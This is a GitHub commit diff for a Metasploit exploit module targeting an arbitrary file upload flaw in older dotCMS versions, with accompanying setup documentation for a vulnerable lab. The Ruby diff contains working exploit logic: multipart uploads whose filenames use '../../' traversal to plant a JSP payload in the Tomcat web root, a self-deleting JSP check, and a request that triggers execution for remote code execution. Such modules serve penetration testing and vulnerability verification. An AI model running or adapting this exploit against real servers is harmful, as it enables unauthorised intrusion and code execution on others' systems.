Skip to content

Commit 2c02a60

Browse files
committed
Responded to PR feedback
1 parent 9d9d81a commit 2c02a60

File tree

2 files changed

+46
-40
lines changed

2 files changed

+46
-40
lines changed

documentation/modules/exploit/multi/http/dotcms_file_upload_rce.md

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
1-
## Description
2-
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
3-
respective stream. The module uploads a jsp payload to the tomcat ROOT directory. It then executes the payload to
4-
return a reverse shell.
51
## Vulnerable Application
62

3+
### Description
4+
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
5+
respective stream. The module uploads a jsp payload to the tomcat ROOT directory and accesses it to trigger its execution.
6+
77
### Clone and build a vulnerable version of dotCMS:
88
This requires Java 1.8 to be installed and JAVA_HOME to be set (see below for per OS instructions).
99
1. `git clone https://github.com/dotCMS/core.git`
@@ -32,13 +32,13 @@ Inside each of the above compressed directories exists a directory `dotserver` w
3232

3333
### Ubuntu 20.04 install
3434

35-
#### Install JAVA 1.8
35+
#### Install JAVA 1.8
3636

3737
1. `export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"`
3838
1. `export PATH=$JAVA_HOME/bin:$PATH`
39-
1. `sudo apt-get install openjdk-8-jre`
39+
1. `sudo apt-get install openjdk-8-jdk`
4040

41-
#### Install Postgres
41+
#### Install Postgres
4242

4343
1. `sudo apt install postgresql -y`
4444
1. `sudo -u postgres psql`
@@ -75,7 +75,7 @@ ES_PORT=9200
7575
ES_TLS_ENABLED=false
7676
```
7777

78-
#### Run dotCMS
78+
#### Run dotCMS
7979

8080
1. `cd dotserver/tomcat-9.0.41/bin/`
8181
1. `chmod 755 *.sh`
@@ -183,4 +183,4 @@ OS Version: 10.0.19042 N/A Build 19042
183183
184184
<output truncated>
185185
```
186-
Note on windows the module reports an unknown result when trying to delete the files though it does successfully
186+
Note on windows the module reports an unknown result when trying to delete the files though it does successfully

modules/exploits/multi/http/dotcms_file_upload_rce.rb

Lines changed: 37 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def initialize(info = {})
1515
super(
1616
update_info(
1717
info,
18-
'Name' => 'Multipart File Directory Traversal can lead to Remote Code Execution.',
18+
'Name' => 'DotCMS RCE via Arbitrary File Upload.',
1919
'Description' => %q{
2020
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
2121
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
@@ -38,7 +38,7 @@ def initialize(info = {})
3838
'Platform' => %w[linux win],
3939
'Targets' => [
4040
[
41-
'Automatic',
41+
'Java Linux',
4242
{
4343
'Arch' => ARCH_JAVA,
4444
'Platform' => 'linux'
@@ -50,13 +50,6 @@ def initialize(info = {})
5050
'Arch' => ARCH_JAVA,
5151
'Platform' => 'win'
5252
}
53-
],
54-
[
55-
'Java Linux',
56-
{
57-
'Arch' => ARCH_JAVA,
58-
'Platform' => 'linux'
59-
}
6053
]
6154
],
6255
'DisclosureDate' => '2022-05-03',
@@ -83,48 +76,62 @@ def check
8376
test_content = Rex::Text.rand_text_alpha(10)
8477
test_file = "#{test_content}.jsp"
8578
test_path = "../../#{test_file}"
86-
multipart_form = Rex::MIME::Message.new
87-
multipart_form.add_part(
88-
test_content,
89-
'text/plain', # Content-Type
90-
nil, # Content-Transfer-Encoding
91-
"form-data; name=\"name\"; filename=\"#{test_path}\""
92-
)
79+
uuid = Faker::Internet.uuid
80+
81+
jsp = <<~EOS
82+
<%@ page import=\"java.io.File\" %>
83+
<%
84+
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
85+
jsp.delete();
86+
%>
87+
#{uuid}
88+
EOS
89+
90+
vars_form_data = [
91+
{
92+
'name' => 'name',
93+
'data' => jsp,
94+
'encoding' => nil,
95+
'filename' => test_path,
96+
'mime_type' => 'text/plain'
97+
}
98+
]
99+
93100
send_request_cgi(
94101
'method' => 'POST',
95102
'uri' => normalize_uri(target_uri.path, '/api/content/'),
96-
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
97-
'data' => multipart_form.to_s
103+
'vars_form_data' => vars_form_data
98104
)
105+
99106
res = send_request_cgi(
100107
'method' => 'GET',
101108
'uri' => normalize_uri(target_uri.path, test_file.to_s)
102109
)
103110

104-
if res && res.body.include?(test_content)
105-
register_file_for_cleanup("../webapps/ROOT/#{test_file}")
111+
if res && res.body.include?(uuid)
106112
return Exploit::CheckCode::Vulnerable
107113
end
114+
108115
Exploit::CheckCode::Safe
109116
end
110117

111118
def write_jsp_payload
112119
jsp_path = "../../#{jsp_filename}"
113120
print_status('Writing JSP payload')
114-
vprint_status(jsp_path)
115-
multipart_form = Rex::MIME::Message.new
116-
multipart_form.add_part(
117-
payload.encoded,
118-
'text/plain', # Content-Type
119-
nil, # Content-Transfer-Encoding
120-
"form-data; name=\"name\"; filename=\"#{jsp_path}\""
121-
)
121+
vars_form_data = [
122+
{
123+
'name' => 'name',
124+
'data' => payload.encoded,
125+
'encoding' => nil,
126+
'filename' => jsp_path,
127+
'mime_type' => 'text/plain'
128+
}
129+
]
122130

123131
res = send_request_cgi(
124132
'method' => 'POST',
125133
'uri' => normalize_uri(target_uri.path, '/api/content/'),
126-
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
127-
'data' => multipart_form.to_s
134+
'vars_form_data' => vars_form_data
128135
)
129136

130137
unless res&.code == 500
@@ -138,7 +145,6 @@ def write_jsp_payload
138145
def execute_jsp_payload
139146
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
140147
print_status('Executing JSP payload')
141-
vprint_status(full_uri(jsp_uri))
142148
res = send_request_cgi(
143149
'method' => 'GET',
144150
'uri' => jsp_uri

0 commit comments

Comments
 (0)